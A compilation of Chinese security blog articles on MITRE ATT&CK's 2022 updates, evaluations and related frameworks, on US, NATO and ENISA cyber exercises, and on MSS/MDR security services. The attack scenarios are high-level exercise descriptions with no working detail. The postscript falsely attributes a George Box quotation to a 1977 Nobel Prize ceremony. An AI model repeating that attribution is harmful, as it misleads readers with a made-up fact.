年度会议中从产业的视角可以看出更多的使用场景：国家级别的威胁情报的表示，跟业界主流框架和各种厂商的攻击防守技术的结合，安全汇报的场景表达，安全报警降噪等场景。甚至还包括了社会工程学的教育、数据安全场景以及SD-WAN场景的融合。

ATT&CK在安全领域的渗透率越来越高，凡是涉及攻防场景都可以使用ATT&CK进行模拟、解释、提高和评估。从某种意义来看，ATT&CK框架包含了太多的安全场景，从“元宇宙”的现实表达和普遍包容性这个点上来看，ATT&CK可能是安全领域的“元宇宙”层面的存在。

框架变化

在2021年，ATT&CK框架最大的变化是数据源的加入，可以从数据层面更有效的分析攻击行为；同时加入了macOS和Linux的部分新内容；在云计算方面加入了容器的矩阵（ATT&CK for Containers），并将IaaS进行了合并，把美国主流的三个公有云厂商（AWS、Azure、GCP）进行了合并；并且更新了工业控制（ICS）的ATT&CK。最终增加了8个新技术，27项子技术，24个新的组织和100种新的恶意软件。当前版本的V10版本主框架，包含了14个战术，188个技术，379个子技术，129个组织和639个恶意软件。

ATT&CK在2022年会按照以往的计划，还是会更新两个版本：在4月份更新V11版本，并在10月份更新V12版本，每个版本的侧重点略有不同。V11版本会增加移动端的子技术攻击类型，同时也会更新部分macOS和Linux的内容。V12版本会带来本年度最大的变化就是行动内容（Campaigns）元素的增加，如果经常使用攻击工具的人不会对这个词陌生。这个内容的意义也比较重大，比如有些攻击行为是没有组织命名的，也就是没有APT编号，反之有APT编号的组织在不同的攻击目标下选取的攻击路径和攻击技术也不尽相同。对于行动内容的描述可以增加我们对网络攻击者的理解，对于每一次攻击行为链路的理解。

每年ATT&CK会举行一次峰会，在3月底已经结束，演讲PPT和演讲视屏已经放出。后面会有单独章节讲解，内容还是比较庞杂。

评估项目变化

2022年3月31日，MITRE Engenuity部门发布了第四轮的官方测试结果，这次测试的重点是数据加密技术（T1486）。这次选定的APT组织是Wizard Spider和Sandworm Threat，这两个组织以使用勒索软件臭名昭著。比如Wizard Spider经常使用的Ryuk勒索软件和Sandworm使用的NotPetya勒索软件。

这次整体的攻击技术还是比较全面的，也让这次的评估过程跟前几次相比是最复杂的一次。如图所示，紫色的是Wizard Spider专用的技术，青色是Sandworm Threat专用的技术，灰色是两者共用的技术。

整体的测试环境是在Azure上搭建，网络架构如图下所示，操作系统包括了Windows Server 2019，Windows 10 Pro和CentOS 7.9。有两个被攻击组织分别有独立的网络空间，Windows defender是关闭状态。可以看出来能反映出一些网络架构，组织1包含了办公PC、邮件服务器、备份服务器和域控服务器；组织2包含了办公PC、开发服务器、备份服务器和域控服务器。网络攻击者通过互联网对这些机器进行攻击模拟。

在结果的检测类型分为6种：不适用（N/A），没有检测出（None），有遥测数据（Telemetry），一般性说明（General），战术级别说明（Tatic）和技术级别说明（Technique）。避免了分数的出现，分了6个类别：不适用可以理解为测试厂商提前告知没有这类的能力；没有检测出就是对于威胁没有告警；有遥测数据说明，没有准确告警但是有相关数据；一般性说明表示了有告警但是没有战术和技术级别的说明；战术级别的说明准确的表明了告警的战术分类，对应的是Tatic的数字和描述；技术级别是技术层面的告警，对应Technique的数字和描述。但是不过可以看出到技术级别的说明才是最好的检测水平。从遥测数据到技术级别说明都需要数据源的内容，也可以看出MITRE对于数据源在检测中的基础能力的重视度。

MITRE这个产品评估的目的其实是为了提高产品的整体检出能力，从来都不做通过证书或者排名的内容，只有一个客观测评结果。这样的情况就是导致每个参评的厂商拿着这个结果分别宣传，混淆视听。比如拿CrowdStrike和SentinelOne的宣传来看，都做到了100%的检出率。但是实际官网披露的数据来看，CrowdStrike在三个核心指标（分析覆盖率、遥测覆盖率、可见性）上的检出率分别为94 of 109、16 of 109和105 of 109。SentinelOne在这三个核心指标的表现为108 of 109、0 of 109和108 of 109。这样就可以看出来综合的检测能力SentinelOne占优，但是从数据的能力来看，CrowdStrike占优。分析覆盖率是指上述三类的报警，包括一般性说明、战术级说明和技术性说明，遥测覆盖率单指遥测数据的可见性。可见性这里综合了分析覆盖率和遥测覆盖率的合集。

工控场景的评估项目在2021年做过TRITON之后就没有更新，同时参与者较少。其模拟环境是基于Engenuity部门模拟的燃烧器管理系统，如下图所示。包括了工控的一些基本环境，包括了PLC，以及一些工控软件和网络架构。评估方法和结论跟上述IT架构类似。

除了产品评估之外，2022年会推出安全服务类型（MSS）的评估，主要针对的是MDR和MSSP的服务供应商进行评估。跟产品类型的评估最大的区别来看，产品评估更像是“开卷考试”，直接能评测出能力；服务评估更像是“闭卷考试”，测试内容公开但是测试过程中不会告知，让服务厂商自己判断是否能检测。整个测试环境也会更复杂一些，如下图所示，包括不限于Web服务器，数据库服务器，文件服务器，Office办公服务器等各种服务等。

培训项目变化

基于ATT&CK的培训也是MITRE Engenuity部门负责，是一个MITRE ATT&CK DEFENDER的项目，简称MAD。之前只有威胁情报和安全运营方面的认证证书，现在扩充了攻击模拟和威胁狩猎方面的认证证书。针对于企业和个人都有相应的培训计划，个人的培训费用是每年299美金。

由于攻击模拟和威胁狩猎属于新的认证，课程表目前还没有，其他三门都有相关的课程列表。比如基础的ATT&CK的课程包括了几个模块，内容如下：

课程分为三大块，基本概念介绍、ATT&CK的使用和ATT&CK的运营。每门课程本身都不长，都是几分钟的时长，便于大家灵活学习。另外两门认证课程的课表就不详细说明了，整体风格类似，有兴趣的可以注册一个账号学习一下。

开源项目变化

Workbench项目是在ATT&CK知识库如何跟组织本地知识库结合的挑战下，应运而生的项目。这个项目有三大功能：第一个就是注释一些ATT&CK的技术；第二个是可以扩展组织自身的攻击技术知识库；第三个就是能够共享知识库。如下图所示，你可以继承ATT&CK官方的知识库，并且可以通过威胁情报的结合从而形成自身的攻击知识库，并且能够共享。

在注释方面可以提供一些例子比如：

· 在组织内共享非正式知识（例如“这种缓解措施可能有助于保护我们免受X侵害”）

· 记录潜在的知识（例如“TO DO：验证威胁报告X 中提到的是否实际上是这种技术”）

· 在工作流开发过程中实现协作（例如“审查数据源信息并制定计划以开始收集检测此技术所需的数据。”）

在本地知识库中创建或扩展 ATT&CK 数据可实现许多重要的场景，例如：

· 创建本地红队的技术库，以便可以像上线ATT&CK技术一样跟踪它们

· 记录针对您的部门或组织但目前未被 ATT&CK 团队跟踪的group或software

· 更新 ATT&CK 数据以反映 ATT&CK 团队无法访问的内部、专有或其他的威胁报告

· 使用线上ATT&CK知识库范围之外的新技术和策略开发你自己的TTP矩阵

在组织之间共享 ATT&CK 相关信息是依托于Collection这种格式机制，在后面的威胁情报会提到，主要的场景包括：

· 通过启用自动导入并提供详细的更改历史记录，简化与 ATT&CK 保持同步的过程

· 通过导入多个集合，允许用户将来自 ATT&CK 的最新信息与来自其他来源（威胁情报供应商、ISAC 和 ISAO 以及 ATT&CK 社区的其他成员）的情报扩展集成

· 保证于 ATT&CK 的贡献创建结构的一致性

威胁情报方面。STIX的格式非常庞大和复杂，主要包含有域对象（SDO）和关系对象（SRO）等。有一个类比是，你可以考虑 STIX 对象的格式和结构，就像电子邮件的结构一样。另一方面，TAXII 就像您的电子邮件服务器，它是一个通过 HTTP(S) 协议传输 STIX 数据的服务器。一个极受欢迎的免STIX/TAXII 服务是 AT&T 的 OTX。

TAXII的示意图

STIX也是MITRE的一个标准产品，所以自然就会跟ATT&CK产生关联性。ATT&CK按照STIX的格式进行了转换了，也就是一个巨大的JSON格式的表达。最外层是类型是STIX中Bundle，内部数据按照Collections对象进行组织，类型为x-mitre-collection，所有命名跟STIX的格式匹配，只不过都加上了ATT&CK的一些特征内容。本质来说ATT&CK也是威胁情报形成的矩阵，所以使用STIX表示也是自然的事情。只有ATT&CK按照威胁情报的标准格式进行了格式化之后，才可以真正的进行共享，比如上面提到的Workbench的项目的知识库共享才能成为现实。

Engage框架脱胎于Shield框架，官方解释Shield框架太广泛，不好实施。笔者认为是Shield框架太单调，过分强调欺骗技术的使用。Engage框架的方法论来自于攻击者交战的方法论，主要集中在拒绝和欺骗两个方面。其对于攻击交战的理解分为四个方面：收集数据、分析行为，确认机会以及实施攻击。

攻击交战图

其矩阵如下图所示，内容相对来说比较少。查看了相关的技术，无外乎还是蜜罐、模拟、伪造和诱饵等技术进行的防御手段。目前这个框架还属于比较初期的阶段，感觉整体逻辑和技术构造还不是那么完美，可能后续要进行一些调整。

Engage框架

D3FEND框架是是NSA的资金支持下进行的研究，其研究的目的就是如何将ATT&CK的攻击知识库变成防守知识库。这两者的关系是通过组件（Artifacts）的分析进行的关联。

组件是这个框架最有特点的地方，目前组件分为了四类：高级组件、文件类组件、网络流量类组件和软件类组件。这种分类方式跟ATT&CK的数据源的检测方式不太一样，感觉更落地一些，而ATT&CK数据源的方式离最终的检测还有很长的距离，如果按照组件的方式去组织数据，个人感觉离检测入侵会更直接一些。比如文件类组件包含的内容包括了：符号链接、快捷方式、NTFS链接、归档文件、证书文件、配置文件、容器镜像、文档文件、可执行文件、日志文件、对象文件、操作系统文件、密码文件。这么看起来把文件列举的很全，同时也有相关各个组件的关系图示。

文件组件关系图

有攻击技术的枚举：

也有防守技术的枚举：

同时也能搜索相关ATT&CK技术，会展示出这些组件的关系，比如下图搜索的T1003.001。

LSASS Memory（T1003.001）的D3FEND映射图（局部）

最终的D3FEND框架是这个样子，包括了加固、检测、隔离、欺骗和驱逐五个部分。做的研究内容还是比较全面和深入的。

D3FEND框架图（局部）

会议内容变化

ATT&CKcon 3.0于2021年3月31日结束了，部分演讲内容都是ATT&CK的一些更新说明和计划更新内容，上面的内容已经提到了，就不赘述。这里就讲一些比较有特色的内容进行分享。

主旨演讲的内容是以平克顿侦探事务所作为引子，玩过大表哥游戏的人都知道这个组织是什么，在美国南北战争期间是重要的北方间谍力量。演讲中主要诟病平克顿事务所的情报线索没有标准化，没有经过确认，并且更多的是偏向于高层的意见（HiPPO）的情报。强调了情报的标准化和客观性，所以ATT&CK是个客观的依据和说明框架。

以英国政府的通讯总部（英国政府通讯总部（GCHQ）与著名的英国军情五处(MI5)和六处(MI6)合称为英国情报机构的“三叉戟”）的近期的恶意软件分析来看，对于Cyclops Blink恶意软件的分析细节这里不表，总体概览的地方直接通过ATT&CK进行恶意软件行为的描述，对于威胁情报来说是一种有意义的进步。

Cyclops Blink行为的ATT&CK映射

ATT&CK框架本身有很好的管联性，MITRE Engenuity部门的CTID组做了一些有益的尝试，比如将CVE的漏洞攻击行为映射到ATT&CK框架中来评估漏洞的影响性，打通了CVE和ATT&CK之间的关系。

CVE与ATT&CK映射图

除了跟自身的标准打通以外，也可以跟NIST 800-53这种NIST顶层框架进行映射，将NIST的一些控制措施反映到ATT&CK的矩阵中来，从某种意义来看可以降低合规成本。也有专家进行了PCI-DSS跟ATT&CK的映射图。

NIST 800-53 于ATT&CK映射图

除了跟标准映射以外，也可以跟基础设施的安全保证进行映射，下图就表示了Azure和AWS的相关安全措施的映射关系。

云服务安全能力于ATT&CK映射图

其中有一个分享内容提及了相关的一个项目叫做控制验证指南针（Control Validation Compass）的项目，是一个综合ATT&CK各种框架的项目，包罗万象，方便大家做相关的映射关系和互相对照。包括了各种框架和标准，有缓解措施，NIST 800-53，CIS，D3FEND和Engage；也包括了各种防御能力和攻击能力。这个项目有助于对于ATT&CK全面的理解。

控制验证指南针筛选图

迈克菲和火眼合并的公司Trellix分享了安全故事应该怎么讲。分为不同的曾是或者不同的角色关注的内容是不同的，战术层面主要关注的是攻击行为和相关检测规则；运营层面就要关注攻击上下文，恶意软件工具等内容重点是ATT&CK；战略层面关注的是趋势和能力覆盖度。

同时介绍了开源项目AC3 Threat Sightings对于威胁情报的一种集合式表达，包括了Sigma规则，MALTEGO内容，STIX情报格式，OpenIOC和MISP的威胁情报源以及ATT&CK框架。

也有另外一个演讲者提及使用Jupyter加上ATTCK Flow进行安全运营的讲解。

Splunk分享了如何进行报警的降噪，通过各种的手段进行打分进行加权，最终得到一些真实的报警内容，也是一种对报警的深度分析和归并的思路。

关于ATT&CK是否能够成为你心目中的“元宇宙”，演讲者给出了一些可能扩充的场景，比如攻击者剧本，场景的顺序，以及检测时间的限制导致的事件新鲜度区别等等。

后记

引用伯克斯（George Box）在1977年诺贝尔奖授奖仪式上讲的一段话：

所有模型都是错的，但是有一些有用。建模的艺术就是去除实在中与问题无关的部分，建模者和使用者都面临一定的风险。建模者有可能会遗漏至关重要的因素；使用者则有可能无视模型只是概略性的，意在揭示某种可能性，而太过生硬地理解和使用实验或计算的具体结果样本。

ATT&CK并不是没有局限性，其局限性在于无法枚举完所有的攻击技术和路径；也无法表达管理上的一些逻辑和安全架构上的设计。但是作为一种普遍适用的框架，也算是网络安全领域“元宇宙”的一种选择。

参考内容

1.https://medium.com/mitre-attack/attack-2022-roadmap-cd5a1a3387c7

2.https://attack.mitre.org/resources/updates/updates-october-2021/

3.https://mitre-engenuity.org/blog/2022/03/31/results-fourth-round-enterprise-evaluations/

4.https://attackevals.mitre-engenuity.org/enterprise/wizard-spider-sandworm/detection-categories

5.https://www.crowdstrike.com/blog/crowdstrike-achieves-100-percent-prevention-in-mitre-engenuity-attack-evaluation/

6.https://www.sentinelone.com/blog/our-take-sentinelones-2022-mitre-attck-evaluation-results/

7.https://medium.com/mitre-engenuity/att-ck-evaluations-for-managed-services-d8c60fda118b

8.https://attackevals.mitre-engenuity.org/managed-services/managed-services/#sn-resources

9. https://mitre-engenuity.org/mad/

10.https://mitre-engenuity.org/mad/curriculum/

11.https://attack.mitre.org/resources/working-with-attack/

12.https://medium.com/mitre-engenuity/att-ck-workbench-a-tool-for-extending-att-ck-e1718cbfe0ef

13.https://www.mitre.org/capabilities/cybersecurity/overview/cybersecurity-blog/attck%E2%84%A2-content-available-in-stix%E2%84%A2-20-via

14.https://othin-io.medium.com/cyber-security-introduction-to-mitre-for-7b6768221abb

15.https://github.com/mitre-attack/attack-stix-data

16.https://www.mitre.org/publications/project-stories/mitre-engage-framework-community-for-cyber-deception

17.https://engage.mitre.org/matrix/

18.https://d3fend.mitre.org/

19.https://mitre.brandlive.com/mitre-attackcon-3/en/home

20.https://medium.com/mitre-attack/intelligence-failures-of-lincolns-top-spies-what-cti-analysts-can-learn-from-the-civil-war-35be8d12884

21.https://www.slideshare.net/MITREATTACK/presentations

22. https://controlcompass.github.io/

阅读原文

跳转微信打开

国外网络演习思考

Mon, 20 Dec 2021 18:01:00 +0800

原创程度 2021-12-20 18:01

网络演习在最近几年被越来越多的单位重视，网络演习可以真正验证安全的水平，在攻防的真实对抗中，可以发现安全问题，提高安全建设和运营水平。同时，网络演习重点是考验单位的应急响应、协同合作的各种能力。

网络演习在最近几年被越来越多的单位重视，网络演习可以真正验证安全的水平，在攻防的真实对抗中，可以发现安全问题，提高安全建设和运营水平。同时，网络演习重点是考验单位的应急响应、协同合作的各种能力。随着《关键信息基础设施安全保护条例》的颁布，在条例中提到了定期开展应急演习，这也是网络演习的一种形式。国外开展网络演习已经有十年多，笔者重点研究了美国、欧盟和北约网络演习的一些做法，可以对我们之后的网络演习有一些借鉴意义。

网络风暴演习（Cyber Storm）

首先介绍下美国整体网络安全的保护组织和角色、职责。这里以国土安全部（DHS）为核心举例说明，网络安全的分工协作层面，简单来说司法部（DOJ）牵头调查，国土安全部（DHS）是保护，国防部（DoD）作为防御。比如CISA就属于国土安全部（DHS），NSA属于国防部（DoD），这些都是美国网络安全领域很重要的部门。

图1：国土安全部应对网络安全挑战

还有个更大的架构图，美国行政管理和预算局（OMB）保证执行FISMA法案，美国国家标准技术研究所（NIST）开发相关标准，美国情报机构（IC）负责收集情报，还有一些保护情报的部门和其他部门等。美国的网络安全政府机构就不展开讨论，比如FBI属于司法部（DOJ），CIA属于情报机构（IC）。

图2：美国网络安全的保护组织和角色、职责

美国网络风暴演习是隶属于DHS的CISA组的攻防演习。由图3可以看出来整个的参与群体，整体的规模越来越大，参与的州、威胁情报中心、联邦机构、国家、行业也越来越多，参加的合作伙伴也越来越多，这里面应该都是美国的各种安全厂商。网络风暴演习以威胁情报中心作为主体，并会涉及相关的其他国家（主要来自于IWWN组织）一起进行演习。

图3：美国网络风暴演习参与群体

网络风暴演习是美国最顶级的网络演习，将公共和私营部门聚集在一起，模拟对影响国家关键基础设施的网络危机的反应。网络风暴演习是 CISA 评估和加强网络准备和检查事件响应流程的持续努力的一部分。CISA 赞助这些演习，以提高网络事件响应社区的能力，鼓励在关键基础设施领域推进公私伙伴关系，并加强联邦政府与其州、地方和国际各级政府合作伙伴之间的关系。可以看出来整体的保障主体都是围绕关键基础设施开展的模拟演习。

网络风暴演习是每两年一次，整个演习的时间一般是持续4-5天。但是为了这短暂的演习，CISA的准备时间大概在半年以上。通过图4可以看出整体的时间线，总体分为5个阶段，首先确定概念和目标，其次制定相关方案，通过不同的会议进行落地，然后确定最后方案，之后在一周内进行执行演习内容，最后进行演习内容总结。

图4：网络风暴演习整体的时间线

每年的演习设立相关的目标和具体检查内容。以最近的2020年演习为例，其总体目标是通过运用政策、流程和程序来识别和响应针对关键基础设施的多部门网络攻击，加强网络安全预备和响应能力。具体的相关内容包括：

● 检查国家网络安全计划以及政策的实施和有效性；

● 加强在网络事件期间整个网络生态系统中使用的信息共享和协调机制；

● 加强公共和私人机构的伙伴关系，提高他们及时分享相关信息的能力；

● 检验网络事件响应的通信能力，不断完善通信策略。

在目标和指导内容的要求下，每年都取得了一些成果，这些成果如下所示：

● Cyber Storm I 2006，标志着网络响应社区首次聚集在一起研究国家对网络事件的响应。

● Cyber Storm II 2008，锻炼个人反应能力和领导决策能力。

● Cyber Storm III 2010，专注于根据国家级框架响应，并提供了国家网络安全和通信集成中心（NCCIC）的首次运行测试。

● Cyber Storm IV 包括 2011 年至 2014 年间的 15 次多种类型的练习，以帮助社区和国家锻炼网络响应能力以应对不断升级的安全事件。

● Cyber Storm V 2016，包括 1,000 多个分布广泛的参与者，并汇集了新的部门，包括零售和医疗保健参与者。

● Cyber Storm VI 2018，专注于响应影响非传统 IT 设备的事件，包括来自关键制造和汽车行业的新参与者。

每年的演习会指定一些特定场景和攻击者情况。在2020年的演习中重点的场景是关注互联网的三个基础设施：DNS、CA和BGP。攻击对象假想是两个国家级别的攻击者，利用DNS、CA和BGP的漏洞进行入侵。同时通过论坛共享这些工具，可以被犯罪组织、“脚本小子”以及暗网组织成员所利用。网络风暴演习构建了一整套的攻击者模拟组织架构图。

图5：演习中的特定场景

在此期间，攻击者使用勒索软件可以对信息进行勒索，削弱组织的整体运营能力。同时设计了8个场景片段进行演习。参加者可以选择其中的一些场景进行演习，目的是为了更好地应对这些攻击场景。

片段编号	场景片段描述
片段1	攻击者建立了一个具有"诱饵"代码存储库网站，公司程序员下载"定时轰炸"的专用代码片段。
片段2	一个组织是大规模网络钓鱼活动的受害者。嵌入在网络钓鱼电子邮件中的是一个伪造的证书，点击链接后会自动下载。然后，对手能够执行中间人攻击、数据泄露或勒索软件攻击。
片段3	攻击者将流量从合法站点重定向到类似于合法站点的恶意网站。用户首先导航到欺诈网站，并被要求获得其凭据。用户输入其凭据后，将利用其应用凭据转发到合法站点。在此过程中，对手会在日志文件中捕获凭据以创建/修改交易和/或更改密码/安全问题。
片段4	攻击者将流量从合法站点重定向到不存在的页面（例如，404 错误）或欺诈页面（例如，带有黑客信息的网站）。此攻击方式可用于创建拒绝服务攻击。
片段5	攻击者利用 DNS 协议中的弱点，无论是内部还是外部威胁，以重定向或阻止通信。因此，第三方提供商的服务不再可用。
片段6	公司的流量通过 BGP 劫持通过对手国家/地区进行。所有边境门户路线都经过该国更改，导致交通通过非标准路线。潜在影响包括成本的变化、拒绝服务、中间人攻击和性能问题。此攻击也可以与证书授权滥用合并，因此在被劫持时可以读取流量。
片段7	对手利用了组织外部面对 Web 应用程序的关键漏洞。攻击者利用漏洞来转储包含个人可识别信息（PII）的数据库内容。然后，敏感信息被张贴在暗网上。
片段8	供应链攻击在信任链中引入了配置错误的证书。预加载的泄露证书允许恶意软件安装，因为它们"信任"更新。利用此访问，对手进行中间人攻击或拒绝服务攻击。

这些片段根据不同的行业也有不同的演示，可以找到早年间的一些规划细节。

图6：场景时间线

可以看出来对于不同行业会有不同的场景模拟，比如对于IT行业来说：恶意CD的分发，可信的内部系统污染、DNS 缓存污染、网络诈骗、恶意证书机构伪造、DDOS攻击、MSSP的恶意软件分发通过恶意代码等场景。

整个攻防演习是在DETER（Cyber Defense Technology Experimental Research Project）网络安全平台上展开的。这个项目本身也是DHS赞助的，为了进行真实攻击模拟的一个平台，这个平台的特性是 “虚拟的互联网”，测试平台提供封闭环境，使研究人员能够安全地测试针对“实时”威胁的高级防御机制，而不会危及其他研究或更大的互联网。可以理解为是在一个封闭环境下进行真实的演习，但是这个真实环境是足够的真实。在最开始的几届网络风暴演习中，这个平台也是演习验证的目的之一。

桌面推演训练（Tabletop Exercises TTX）

CISA除了网络风暴这种演习形式之外还有桌面演习的形式。这种形式跟实战演习互为补充，其实都是针对关键基础设施的一种训练方案。CISA提供了一整套桌面推演或者叫沙箱推演的项目文档，叫做CISA Tabletop Exercise Package (CTEP)。这套文档包括了两大类，一类是规划类指引，一类是设计模板。规划类指引包括了欢迎信、规划人手册、协调人和评价人手册、规划人意见反馈表格。设计模板包括了邀请信、简介ppt模板、参与者反馈表格、事后报告及改进计划、场景手册。根据这套模板就可以组织一个比较体系的桌面推演的活动。整体桌面推演的演习分了14个步骤。

图7：桌面推演的14个步骤

这里面最重要的就是演习内容的开发，演习内容主要包括的是场景设计和问题设计。下面举个例子可以说明相关的内容。场景设计如下：

某一天上午9：00，整个组织的计算机上都会出现红色屏幕。所有人似乎都感染了相同的勒索软件。显示一条消息，要求为解密密钥支付价值约 53，000，00 美元的比特币，并警告除非在 48 小时内收到付款，否则密钥将过期。

问题如下：

你支付赎金了吗？

a.谁来决定的？

b.流程是什么？

c.付费的优点/缺点是什么？

d.潜在的政治后果是什么？

e.您需要联系哪些外部合作伙伴/实体？

这些场景和问题是比较多变和真实的，针对这些场景，并拟定相关的问题来发现组织里面出现的问题，以及遇到突发事件时候的应对方案。

锁盾演习（Locked Shields）

北约合作网络防御卓越中心（CCDCOE）是位于塔林的 NATO 认可的跨国网络防御中心，参与四个重点领域的研究、培训和演习，包括：技术、战略、运营和法律。

锁盾2021年度演习由 CCDCOE 自2010年起组织，使网络安全专家能够提高他们在实时攻击下保护国家IT系统和关键基础设施的技能。来自近30个国家的2000多名专家参加了锁盾2021年度演习。本年度有22个蓝队参加，每个蓝队中平均有40个专家组成，并且有5000个虚拟系统和基于此的4000种攻击。其中包括关键信息基础设施、电力和供水以及国防系统，锁盾2021引入了几个具有增强功能的新系统。例如，演习首次涉及卫星任务控制系统，需要提供实时态势感知以帮助军事决策。同时演习研究了不断发展的技术（如深度伪造）将如何塑造未来的冲突。该演习还将检查 COVID-19 大流行带来的新现实，例如远程工作和自动化带来的更大安全漏洞。该演习主要是实时的红蓝对抗的演习，涉及常规业务IT、关键基础设施和军事系统，整合技术和战略决策练习，并在由基金会 CR14 管理的创新平台 Cyber Range 上运行。这个系列的演习主要目的是训练蓝军的各方面能力：

● 保护不熟悉的专业系统；

● 在紧迫的时间压力下写出好的情况报告；

● 检测和缓解大型复杂 IT 环境中的攻击；

● 良好协调的团队合作。

图8：锁盾演习的合作伙伴

十字剑演习（Crossed Swords）

锁盾演习是北约组织偏向蓝队训练的项目，而十字剑演习是为了训练红队的项目，主要通过网络演习培训渗透测试员、数字取证专家和态势感知专家。该演习还为在锁盾网络防御演习中扮演对手的红队成员提供了培训机会。自2018年以来，演习的范围和复杂性已大大扩展，涵盖多个地理区域，涉及关键信息基础设施提供者和军事单位的网络动力参与。

2021年，经过两年的新冠疫情影响，此次演习完全在现场进行。它汇集了来自包括北约和非北约成员国在内的21个国家的约100名参与者。这个演习是一项密集的动手全面网络操作练习，安全专家和渗透测试人员可以学习如何更好地应对各种攻击媒介，并测试进攻性网络能力。演习的目标是通过了解最新的进攻工具和技术来建立有弹性的防守。

此次演习是在演习和训练中心 CR14 进行的。CR14 基金会于今年年初成立，其基础是在网络空间训练、演习、测试、验证和实验方面十多年的网络靶场经验。

今年的情景需要通过在 Berylia 进行警务和进攻性网络行动来重新控制内部安全局势。该演习以虚构的 Berylia 州为基础，Berylia 是大西洋上的一个岛国，大小与西班牙差不多。Berylia 是议会民主制国家，是欧盟的准成员，正在向正式成员地位迈进，并已批准欧洲委员会网络犯罪公约。Berylia 以南约300公里处是 Crimsonia 岛。它的面积与英国差不多，气候与 Berylia 相似。Crimsonia 是一个弱议会民主制，政治寡头政治非常强大，国际社会并不认可。更具体场景并没有描述。

十字剑演习是在一个叫Frankenstack的平台开展的，这也是在最近发表的一篇论文中体现出来的。如图9所示，该演习由几部分构成，不同部分标记不同的颜色并代表不同的团队。因为是红队使用演习平台，所以没有红队的内容。绿色代表靶场的核心内容，由绿队进行维护，通过各种API和流量抓包把各种数据输出，主要使用的是VMware NSX的数据中心的SDN方案。蓝色代表对攻击者的监控，也是蓝队的主要职责，通过各种日志和事件采集对事件进行汇总收集。黄色部分内容最多，包括了演习的监控和态势感知，是黄队的职责。可以看到使用了不同的消息队列，比如Kafka进行收集处理，同时有一些 Suricata 和 Arkime 的流量分析引擎，红色框的内容是论文中体现的改进的内容，包括资产信息的收集、Sigma引擎以及使用Python的转换器把数据导入ES进行分析，最后进行ATT&CK和Kibana以及Alerta进行展示。黑色部分采用商用的安全分析类产品，主要由Cymmetria、Greycortex和Stamus三家厂商提供。

图9：十字剑演习的组成部分

全球演习分析

著名的欧洲网络与信息安全局（ENISA）在2015年分析研究了全球各个地区和国家的演习情况，包括了公众部门和私有部门以及演习中的各种细节情况，例如演习采用的方式、演习的目的、工具、方法、受众等内容，最终形成了一个演习的统计报告。

图10：研究的输入和输出

在分析报告中可以看出来，2002年到2015年的演习数量逐年增多，尤其是2013-2015年增长的最快。此报告说明了导致网络演习增长的三个主要原因。一是政策力度加大，支持网络安全演习活动的战略文件，例如国家网络安全战略，ENISA 的出版物以及即将发布的 NIS 指令。二是网络安全演习活动是一种实战演习，因此引起越来越多的关注。三是每次演习会带来更多的演习，尤其是像网络欧洲这样的大规模演习，在这些案例中为其他网络安全演习活动打开了大门。在全球演习活动数量中，欧洲和北美的网络演习数量占到了80%以上。

图11：全球演习数量2002-2015

图12：网络演习数量全球分布

演习的目的也有不同的区分，其中以培训参与者的技能和知识以及发展一些能力为主，以衡量能力和评估能力为辅。

图13：演习设计目的

演习的形式也是多种多样，其中以模拟、红蓝演习、研讨会和桌面推演为主。其他的形式占比较少，比如CTF，讲座、讨论型游戏、场景训练等。

图14：演习形式

演习的持续时间也相对较长，以网络欧洲、网络风暴和锁盾为例，持续的时间都在7个月以上，但是实际上大部分时间都花在了规划上，并不是实际的演习时间。

图15：不同演习的持续时间

网络演习的趋势主要体现在四个方面：复杂性增加、合作协同目标、私营部门参与和弥合差距练习。大型的网络演习越来越多，包含了大量的参与者、组织、专家、相关工作人员等，需要一定的时间进行规划、执行，整体的演习规划时间可能超过一年。对于协同的重视，网络演习中有专项的活动对于协同进行演习，并且这种目的的演习越来越多。私人部门参加的活动也越来越多，需要增强私人和公有的关系。其中一些参与者可能不会合作和定期交流及相互联系，这会产生差距并成为有效网络安全的障碍。所以补全差距的演习是十分有必要的，这种类型的演习既有运营级别的，也有战略级别和技术级别的演习。

图16：演习级别

总结

通过以上这些国外知名的网络攻防演习的分析可以看出，大部分演习的目的是为了找出防守方差距并在实战中得到提升，本质来说是一种培训项目同时辅以考核和评估作用。这种项目大部分的准备周期都很长，一般在一年以上，但是真正演习的持续时间很短。近年来，国内也如火如荼地举办了各种级别、多种形式的演习，因此需要对演习的各种形式做一些思考，并且在一些小范围的演习中做一些尝试。值得借鉴的内容包括：

1. 可以使用高仿真的靶场进行相关的演习，真实环境有时候在某种攻防情况下会有局限性。

2. 桌面推演的训练也是一种能够训练响应措施的方式，对于整体的安全思维训练有好处，使其更加直观和具体。

3. 场景化设计应该重视，针对不同的安全场景要有相关防守方的应对措施。

4. 攻防演习的形式可以有多种，比如可以增加新技术的话题讨论、游戏方式等等。

由于篇幅有限还有很多的演习并没有详细说明，比如美国NSA举办的网络演习，以及北约的其他网络演习，网络欧洲演习等等，大体上区别不大。反观国内，随着网络演习的价值深入人心，每个单位、每个行业乃至每个地区甚至全国都在开展，我们应该寻求一些新的形式来进行这种攻防演习，让演习真正提高我们的安全防御水平，无论从关键基础设施还是国家层面都有安全的保证。

阅读原文

跳转微信打开

安全服务的发展

Tue, 29 Jun 2021 18:53:00 +0800

2021-06-29 18:53

最近几年，安全服务发生了一些显著变化。本文重点介绍MSS服务和MDR服务以及国内安全服务现状。

整体而言，安全服务的变化要慢于安全产品的变化，但是这几年也有一些显著的变化，例如MDR服务的兴起。传统的安全服务，总体来讲就是MSS服务，就是可托管的安全服务。这类服务目前依然占比较大。安全产品部署完成之后，接下来就是如何运营，如何产生价值。尤其是安全产品的专业性要求更高，各个客户在后期需要更多的安全服务，比如怎么响应高级的威胁等。笔者就从国际上两个最大的服务类型和国内安全服务现状来介绍安全服务的相关内容。

MSS服务介绍

Gartner对MSS（Managed Security Services）服务的定义是：

7*24小时远程监控安全事件及相关安全数据源；
管理和控制安全相关的技术和产品；
交付的安全运营能力主要是远程的SOC服务，并不是通过驻场或者远程的一对一的安全服务。

MSS的核心服务内容是对安全事件的监控和安全事件的响应以及合规方面的报告。除此之外还可能包括以下方面的内容：

安全设备和技术的管理，包括防火墙、入侵检测系统（IPDS）、终端管理（EPP）、EDR、安全应用网关（SWG）、安全邮件网关（SEG）等；
事件响应服务（包括远程服务和现场服务）；
漏洞评估和漏洞管理服务；
威胁情报服务；
MDR服务。

